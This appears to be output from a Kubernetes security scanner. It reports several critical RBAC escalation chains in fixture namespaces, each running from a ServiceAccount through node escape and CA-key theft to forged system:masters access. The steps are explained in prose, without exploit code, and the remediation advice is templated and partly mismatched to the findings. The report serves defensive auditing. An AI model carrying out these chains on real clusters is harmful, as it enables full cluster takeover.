    A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

    An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings
    Gives the attacker can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings that enables the first hop (ServiceAccount/map-fixtures/sa-mutating-policy → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings that enables the first hop (ServiceAccount/map-fixtures/sa-mutating-policy → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 8.8
ServiceAccount/privesc-fixtures/sa-pod-create-escape can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node
2. ServiceAccount/privesc-fixtures/sa-pod-create-escape → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-create-escape → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-create-escape → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/psa-suppressed/default Cluster 8.8
ServiceAccount/psa-suppressed/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/psa-suppressed/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psa-suppressed/default

Subject ServiceAccount/psa-suppressed/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/psa-suppressed/default → / via pod_host_escape (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
2. ServiceAccount/psa-suppressed/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/psa-suppressed/default.
  2. Acting as ServiceAccount/psa-suppressed/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/psa-suppressed/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/psa-suppressed/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Cluster 8.8
ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled

Subject ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → / via pod_host_escape (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
2. ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled.
  2. Acting as ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/psaflip-fixtures/psaflip-flipper Cluster 8.8
ServiceAccount/psaflip-fixtures/psaflip-flipper can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/psaflip-fixtures/psaflip-flipper → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/psaflip-fixtures/psaflip-flipper

Subject ServiceAccount/psaflip-fixtures/psaflip-flipper can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/psaflip-fixtures/psaflip-flipper → / via namespace_psa_label_flip (patch namespaces + create pods (psaflip-fixtures)): can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
2. ServiceAccount/psaflip-fixtures/psaflip-flipper → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/psaflip-fixtures/psaflip-flipper.
  2. Acting as ServiceAccount/psaflip-fixtures/psaflip-flipper, the attacker rewrites the pod-security.kubernetes.io/enforce label on a namespace that Pod Security Admission currently locks down (patch namespaces + create pods (psaflip-fixtures)), setting it to privileged. PSA reads its enforcement level from that label on every admission and nothing in-tree protects the label, so the next pod the attacker creates there, privileged or host-mounting, is admitted. The write on the Namespace object is authorized like any other RBAC request: a cluster-scoped grant reaches every namespace, and a namespaced Role granting patch namespaces reaches its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request in <ns>.
  3. Acting as ServiceAccount/psaflip-fixtures/psaflip-flipper, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Pod Security Admission label flip namespace_psa_label_flip

    Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

    Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted patch namespaces + create pods (psaflip-fixtures)
    Gives the attacker can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission patch namespaces + create pods (psaflip-fixtures) that enables the first hop (ServiceAccount/psaflip-fixtures/psaflip-flipper → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission patch namespaces + create pods (psaflip-fixtures) that enables the first hop (ServiceAccount/psaflip-fixtures/psaflip-flipper → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy Cluster 8.8
ServiceAccount/rbac-fixtures/sa-nodes-proxy can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-nodes-proxy → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-nodes-proxy

Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-nodes-proxy → / via nodes_proxy (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion
2. ServiceAccount/rbac-fixtures/sa-nodes-proxy → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-nodes-proxy.
  2. Acting as ServiceAccount/rbac-fixtures/sa-nodes-proxy, the attacker uses nodes/proxy (get nodes/proxy) to forward requests directly to the kubelet on each node. Combined with the kubelet's /exec endpoint this becomes a primitive for running commands inside any pod the kubelet can see.
  3. Acting as ServiceAccount/rbac-fixtures/sa-nodes-proxy, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/vulnerable/default Cluster 8.8
ServiceAccount/vulnerable/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/vulnerable/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default

Subject ServiceAccount/vulnerable/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/vulnerable/default → / via pod_host_escape (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
2. ServiceAccount/vulnerable/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/default.
  2. Acting as ServiceAccount/vulnerable/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/vulnerable/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/vulnerable/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
